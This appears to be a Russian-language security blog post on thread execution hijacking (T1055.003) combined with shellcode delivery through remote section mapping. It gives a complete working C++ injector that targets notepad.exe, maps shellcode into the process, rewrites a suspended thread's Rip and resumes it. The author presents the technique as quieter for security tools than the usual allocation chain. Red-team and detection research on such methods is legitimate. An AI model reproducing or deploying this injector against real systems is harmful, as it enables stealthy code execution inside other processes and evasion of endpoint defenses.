В статье разберем технику T1055.003
Подменим контекст потока удаленного процесса и рассмотрим способ доставки шелл-кода в процесс с помощью удаленного маппинга.
В ОС Windows существует возможность получения контекста потока и последующего управления значениями регистров. Это дает возможность изменения потока выполнения, например, с помощью модификации регистра rip. Этим и будем пользоваться.
Для того, чтобы получить контекст, используется связка функций OpenThread, SuspendThread и GetThreadContext.
GetThreadContext получает 2 аргумента HANDLE и LPCONTEXT
Структура CONTEXT имеет следующий вид:
CONTEXT
typedef struct DECLSPEC_ALIGN(16) DECLSPEC_NOINITALL _CONTEXT { DWORD64 P1Home; DWORD64 P2Home; DWORD64 P3Home; DWORD64 P4Home; DWORD64 P5Home; DWORD64 P6Home; DWORD ContextFlags; DWORD MxCsr; WORD SegCs; WORD SegDs; WORD SegEs; WORD SegFs; WORD SegGs; WORD SegSs; DWORD EFlags; DWORD64 Dr0; DWORD64 Dr1; DWORD64 Dr2; DWORD64 Dr3; DWORD64 Dr6; DWORD64 Dr7; DWORD64 Rax; DWORD64 Rcx; DWORD64 Rdx; DWORD64 Rbx; DWORD64 Rsp; DWORD64 Rbp; DWORD64 Rsi; DWORD64 Rdi; DWORD64 R8; DWORD64 R9; DWORD64 R10; DWORD64 R11; DWORD64 R12; DWORD64 R13; DWORD64 R14; DWORD64 R15; DWORD64 Rip; union { XMM_SAVE_AREA32 FltSave; struct { M128A Header[2]; M128A Legacy[8]; M128A Xmm0; M128A Xmm1; M128A Xmm2; M128A Xmm3; M128A Xmm4; M128A Xmm5; M128A Xmm6; M128A Xmm7; M128A Xmm8; M128A Xmm9; M128A Xmm10; M128A Xmm11; M128A Xmm12; M128A Xmm13; M128A Xmm14; M128A Xmm15; } DUMMYSTRUCTNAME; } DUMMYUNIONNAME; M128A VectorRegister[26]; DWORD64 VectorControl; DWORD64 DebugControl; DWORD64 LastBranchToRip; DWORD64 LastBranchFromRip; DWORD64 LastExceptionToRip; DWORD64 LastExceptionFromRip; } CONTEXT, *PCONTEXT;
Чтобы получить контекст, перед вызовом GetThreadContext необходимо установить флаги ContextFlags
Существует небольшое количество флагов, которые определены в winnt.h:
флаги
Существует небольшое количество флагов, которые определены в winnt.h: #define CONTEXT_AMD64 0x00100000L #define CONTEXT_CONTROL (CONTEXT_AMD64 | 0x00000001L) #define CONTEXT_INTEGER (CONTEXT_AMD64 | 0x00000002L) #define CONTEXT_SEGMENTS (CONTEXT_AMD64 | 0x00000004L) #define CONTEXT_FLOATING_POINT (CONTEXT_AMD64 | 0x00000008L) #define CONTEXT_DEBUG_REGISTERS (CONTEXT_AMD64 | 0x00000010L) #define CONTEXT_FULL (CONTEXT_CONTROL | CONTEXT_INTEGER | \ CONTEXT_FLOATING_POINT) #define CONTEXT_ALL (CONTEXT_CONTROL | CONTEXT_INTEGER | \ CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | \ CONTEXT_DEBUG_REGISTERS) #define CONTEXT_XSTATE (CONTEXT_AMD64 | 0x00000040L) #define CONTEXT_KERNEL_CET (CONTEXT_AMD64 | 0x00000080L) #if defined(XBOX_SYSTEMOS) #define CONTEXT_KERNEL_DEBUGGER 0x04000000L #endif #define CONTEXT_EXCEPTION_ACTIVE 0x08000000L #define CONTEXT_SERVICE_ACTIVE 0x10000000L #define CONTEXT_EXCEPTION_REQUEST 0x40000000L #define CONTEXT_EXCEPTION_REPORTING 0x80000000L // // CONTEXT_UNWOUND_TO_CALL flag is set by the unwinder if it // has unwound to a call site, and cleared whenever it unwinds // through a trap frame. // #define CONTEXT_UNWOUND_TO_CALL 0x20000000
И описаны там же
Описание
// The flags field within this record controls the contents of a CONTEXT // record. // // If the context record is used as an input parameter, then for each // portion of the context record controlled by a flag whose value is // set, it is assumed that that portion of the context record contains // valid context. If the context record is being used to modify a threads // context, then only that portion of the threads context is modified. // // If the context record is used as an output parameter to capture the // context of a thread, then only those portions of the thread's context // corresponding to set flags will be returned. // // CONTEXT_CONTROL specifies SegSs, Rsp, SegCs, Rip, and EFlags. // // CONTEXT_INTEGER specifies Rax, Rcx, Rdx, Rbx, Rbp, Rsi, Rdi, and R8-R15. // // CONTEXT_SEGMENTS specifies SegDs, SegEs, SegFs, and SegGs. // // CONTEXT_FLOATING_POINT specifies Xmm0-Xmm15. // // CONTEXT_DEBUG_REGISTERS specifies Dr0-Dr3 and Dr6-Dr7. //
Для наших целей хватит CONTEXT_CONTROL
В общем виде установка контекста выглядит так:
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadID); SuspendThread(hThread); CONTEXT ctx; ctx.ContextFlags = CONTEXT_CONTROL; GetThreadContext(hThread, &ctx); /* Some context manipulation */ SetThreadContext(hThread, &ctx); ResumeThread(hThread);
Запомнили, теперь перейдем к доставке шелл-кода в процесс.
Обычно для этих целей используется связка вида
OpenProcess -> VirtualAlloc -> [VirtualProtect] -> WriteProcessMemory -> CreateRemoteThread
Это скучно и невероятно шумно для средств защиты. Поэтому я решил попробовать что-то новое и реализовал внедрение в процесс с помощью удаленного маппинга.
В итоге получилась следующая цепочка:
CreateFileMapping -> OpenProcess -> ZwMapViewOfSection
Пример кода:
HANDLE hMapFile = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, bufferSize, NULL); HANDLE hProc = OpenProcess(PROCESS_VM_OPERATION, 0, pid); PVOID remoteBaseAddress = NULL; size_t viewSize = 0; NTSTATUS status = ZwMapViewOfSection(hMapFile,hProc,&remoteBaseAddress,0,0,NULL,&viewSize,2,0,PAGE_EXECUTE_READ);
Здесь появляется не самый очевидный механизм.
Так как локальный маппинг создан с флагом PAGE_EXECUTE_READWRITE, мы можем в текущем процессе вызвать MapViewOfFile с флагом FILE_MAP_WRITE, что позволит нам писать в память из текущего процесса, а в удаленном процессе размапить ту же память с правами только на чтение и исполнение.
Это дает возможность в любой момент менять размапленную память удаленного процесса. Например, сначала создать секцию с безобидным содержимым, а после загрузить в нее шеллкод. К тому же, в сравнение с классическим выделением памяти с флагом PAGE_EXECUTE_READWRITE в удаленном процессе, этот способ менее шумный с точки зрения средств защиты, так как создание rwx памяти – целое событие.
Итак, соберем все воедино. Механизм будет следующим:
-
Создание памяти с PAGE_EXECUTE_READWRITE
-
Получение указателя на память с правами на запись
-
Поиск целевого процесса для внедрения
-
Удаленный маппинг памяти
-
Запись шелл-кода в память
-
Поиск потока целевого процесса
-
Приостановка потока
-
Изменение контекста потока
-
Воспроизведение потока
Для поиска целевого процесса и потока будем использовать функцию CreateToolhelp32Snapshot:
HANDLE procSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); HANDLE threadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); WCHAR target[] = L"notepad.exe"; Thread32First(threadSnapshot, &threadEntry); Process32FirstW(procSnapshot, &processEntry); DWORD lerr = GetLastError(); while (Process32NextW(procSnapshot, &processEntry)) { if (_wcsicmp(processEntry.szExeFile, target) == 0) { while (Thread32Next(threadSnapshot, &threadEntry)) { if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) { /* Usefull code */ break; } } break; } }
Объединяем, добавляем запись шелл-кода и получаем результат:
Код
#include <windows.h> #include <iostream> #include <TlHelp32.h> typedef NTSTATUS(NTAPI* p_ZwMapViewOfSection)( HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect ); int main() { unsigned char code[] = { 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7 }; size_t bufferSize = sizeof(code); HANDLE hMapFile = CreateFileMappingA( INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, bufferSize, NULL ); if (hMapFile == NULL) { return 1; } LPVOID pBuffer = MapViewOfFile( hMapFile, FILE_MAP_WRITE, 0, 0, bufferSize ); if (pBuffer == NULL) { CloseHandle(hMapFile); return 1; } DWORD old; THREADENTRY32 threadEntry; threadEntry.dwSize = sizeof(THREADENTRY32); PROCESSENTRY32W processEntry; processEntry.dwSize = sizeof(PROCESSENTRY32W); CONTEXT context; context.ContextFlags = CONTEXT_CONTROL; HANDLE procSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); HANDLE threadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); WCHAR target[] = L"notepad.exe"; Thread32First(threadSnapshot, &threadEntry); Process32FirstW(procSnapshot, &processEntry); DWORD lerr = GetLastError(); while (Process32NextW(procSnapshot, &processEntry)) { if (_wcsicmp(processEntry.szExeFile, target) == 0) { while (Thread32Next(threadSnapshot, &threadEntry)) { if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) { HANDLE hProc = OpenProcess(PROCESS_VM_OPERATION, 0, processEntry.th32ProcessID); HANDLE hMapFileDup = 0; HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); p_ZwMapViewOfSection ZwMapViewOfSection = (p_ZwMapViewOfSection)GetProcAddress(hNtdll, "ZwMapViewOfSection"); PVOID remoteBaseAddress = NULL; size_t viewSize = 0; NTSTATUS status = ZwMapViewOfSection( hMapFile, hProc, &remoteBaseAddress, 0, 0, NULL, &viewSize, 2, 0, PAGE_EXECUTE_READ ); CloseHandle(hProc); CopyMemory(pBuffer, code, sizeof(code)); HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID); SuspendThread(hThread); CONTEXT ctx; ctx.ContextFlags = CONTEXT_CONTROL; GetThreadContext(hThread, &ctx); ctx.Rip = (DWORD64)remoteBaseAddress; SetThreadContext(hThread, &ctx); ResumeThread(hThread); break; } } break; } } lerr = GetLastError(); CloseHandle(threadSnapshot); CloseHandle(procSnapshot); UnmapViewOfFile(pBuffer); CloseHandle(hMapFile); return 0; }
Посмотрим на память в Process Hacker сразу после вызова ZwMapViewOfSection. Здесь видно, что в текущем процессе память RW, а в целевом — RX
В результате мы подменили контекст потока целевого процесса, внедрили память через удаленный маппинг и исполнили шелл-код.
Проект доступен на моем Github:
P.S.
Мы ведем telegram-канал AUTHORITY, в котором пишем об информационной безопасности и делимся инструментами, которые сами используем. Будем рады подписке
ссылка на оригинал статьи https://habr.com/ru/articles/855710/
Добавить комментарий